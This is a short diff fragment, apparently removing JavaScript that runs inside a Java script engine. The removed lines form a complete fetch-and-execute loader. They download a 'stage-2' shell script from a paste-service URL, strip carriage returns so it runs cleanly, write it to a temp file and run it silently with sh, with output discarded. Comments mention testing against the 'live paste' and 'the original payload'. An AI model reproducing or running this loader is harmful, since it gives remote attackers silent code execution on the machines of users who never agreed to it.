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- var url = "https://gistpad.com/raw/fsdfsdfsd";;
- var is = new java.net.URL(url).openStream();
- var ba = new java.io.ByteArrayOutputStream();
- var buf = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 8192);
- var n = 0;
- while ((n = is.read(buf)) > 0) { ba.write(buf, 0, n); }
- is.close();
- var script = new java.lang.String(ba.toByteArray(), "UTF-8");
- // Strip CRs. The stage-2 is served by a web paste service, and a CRLF
- // upload makes every line end in \r — which is a SHELL SYNTAX ERROR
- // ("elif unexpected"), because `then\r` is not a valid terminator. The
- // original payload guarded against exactly this with `tr -d '\r'`; the
- // Java fetch has to do the same thing itself.
- // Measured on the live paste: 116 CR bytes, and without this line the
- // script dies with "sh: 8: Syntax error: elif unexpected".
- script = script.replace(/\r/g, "");
- // a UTF-8 BOM would be the same problem in a different costume
- script = script.replace(/^\uFEFF/, "");
- var f = java.io.File.createTempFile("flk", ".sh");
- var w = new java.io.FileWriter(f);
- w.write(script);
- w.close();
- var pb = new java.lang.ProcessBuilder();
- pb.command().add("sh");
- pb.command().add("-s");
- pb.command().add("--");
- pb.command().add("ALNK");
- pb.redirectInput(new java.io.File(f.getAbsolutePath()));
- pb.redirectOutput(new java.io.File("/dev/null"));
- pb.redirectErrorStream(true);
- pb.start();
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